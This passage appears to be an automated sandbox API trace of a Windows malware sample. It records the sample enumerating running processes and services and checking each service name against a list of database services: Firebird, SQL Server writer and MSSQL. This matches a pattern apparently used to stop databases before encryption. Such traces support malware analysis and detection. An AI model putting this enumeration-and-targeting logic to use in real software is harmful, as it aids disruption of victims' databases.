1 [0168.227] lstrlenW (lpString="stream-test.exe") returned 15 [0168.227] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0168.228] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0168.228] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0168.229] lstrlenW (lpString="taskhostw.exe") returned 13 [0168.229] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0168.229] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0168.229] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0168.230] lstrlenW (lpString="movers-indication.exe") returned 21 [0168.230] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0168.231] lstrlenW (lpString="drama tv thee.exe") returned 17 [0168.231] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0168.232] lstrlenW (lpString="barriers.exe") returned 12 [0168.232] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0168.232] lstrlenW (lpString="shootclick.exe") returned 14 [0168.232] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0168.233] lstrlenW (lpString="nickel.exe") returned 10 [0168.233] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0168.234] lstrlenW (lpString="imperialopened.exe") returned 18 [0168.234] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0168.235] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0168.235] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0168.236] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0168.236] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0168.236] lstrlenW (lpString="perhapssentences.exe") returned 20 [0168.236] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.237] lstrlenW (lpString="dllhost.exe") returned 11 [0168.237] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.238] lstrlenW (lpString="svchost.exe") returned 11 [0168.238] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0168.239] lstrlenW (lpString="chrome64b.exe") returned 13 [0168.239] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0168.240] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0168.240] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.240] lstrlenW (lpString="conhost.exe") returned 11 [0168.240] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0168.241] lstrlenW (lpString="cmd.exe") returned 7 [0168.241] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.242] lstrlenW (lpString="conhost.exe") returned 11 [0168.242] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0168.243] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0168.243] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0168.243] lstrlenW (lpString="mode.com") returned 8 [0168.243] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0168.244] CloseHandle (hObject=0x318) returned 1 [0168.244] Sleep (dwMilliseconds=0x1f4) [0168.809] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8c0 [0168.809] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0168.810] GetLastError () returned 0xea [0168.810] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e7778 [0168.810] EnumServicesStatusExW (in: hSCManager=0x7ce8c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0168.811] CloseServiceHandle (hSCObject=0x7ce8c0) returned 1 [0168.811] lstrlenW (lpString="Appinfo") returned 7 [0168.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0168.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0168.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0168.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0168.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0168.812] lstrlenW (lpString="AppXSvc") returned 7 [0168.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0168.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0168.812] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0168.812] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0168.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0168.812] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.812] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.812] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.812] lstrlenW (lpString="Audiosrv") returned 8 [0168.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0168.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0168.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0168.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0168.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0168.812] lstrlenW (lpString="BFE") returned 3 [0168.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.812] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.812] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.812] lstrlenW (lpString="BITS") returned 4 [0168.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0168.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0168.812] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0168.812] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0168.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0168.813] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0168.813] lstrlenW (lpString="CDPSvc") returned 6 [0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0168.813] lstrlenW (lpString="ClickToRunSvc") returned 13 [0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0168.813] lstrlenW (lpString="ClipSVC") returned 7 [0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0168.813] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0168.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0168.813] lstrlenW (lpString="CryptSvc") returned 8 [0168.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.813] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.813] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.814] lstrlenW (lpString="DcomLaunch") returned 10 [0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.814] lstrlenW (lpString="DeviceAssociationService") returned 24 [0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0168.814] lstrlenW (lpString="Dhcp") returned 4 [0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.814] lstrlenW (lpString="Dnscache") returned 8 [0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.814] lstrlenW (lpString="DoSvc") returned 5 [0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0168.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0168.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0168.814] lstrlenW (lpString="DPS") returned 3 [0168.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.815] lstrlenW (lpString="DusmSvc") returned 7 [0168.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0168.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0168.815] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0168.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0168.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0168.815] lstrlenW (lpString="EventLog") returned 8 [0168.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0168.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0168.815] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0168.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0168.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0168.815] lstrlenW (lpString="EventSystem") returned 11 [0168.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.815] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.815] lstrlenW (lpString="FontCache") returned 9 [0168.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0168.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0168.815] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0168.815] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0168.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0168.815] lstrlenW (lpString="gpsvc") returned 5 [0168.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.815] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.815] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.815] lstrlenW (lpString="iphlpsvc") returned 8 [0168.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.816] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.816] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.816] lstrlenW (lpString="KeyIso") returned 6 [0168.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0168.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0168.816] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0168.816] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0168.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0168.816] lstrlenW (lpString="LanmanServer") returned 12 [0168.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.816] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.816] lstrlenW (lpString="lfsvc") returned 5 [0168.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0168.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0168.816] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0168.816] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0168.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0168.816] lstrlenW (lpString="LicenseManager") returned 14 [0168.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0168.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0168.816] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0168.816] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0168.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0168.817] lstrlenW (lpString="lmhosts") returned 7 [0168.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.817] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.817] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.817] lstrlenW (lpString="LSM") returned 3 [0168.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0168.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0168.817] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0168.817] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0168.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0168.817] lstrlenW (lpString="MpsSvc") returned 6 [0168.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.817] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.817] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.817] lstrlenW (lpString="NcbService") returned 10 [0168.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0168.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0168.817] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0168.817] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0168.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0168.817] lstrlenW (lpString="netprofm") returned 8 [0168.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.817] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.818] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.818] lstrlenW (lpString="NlaSvc") returned 6 [0168.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.818] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.818] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.818] lstrlenW (lpString="nsi") returned 3 [0168.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.818] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.818] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.818] lstrlenW 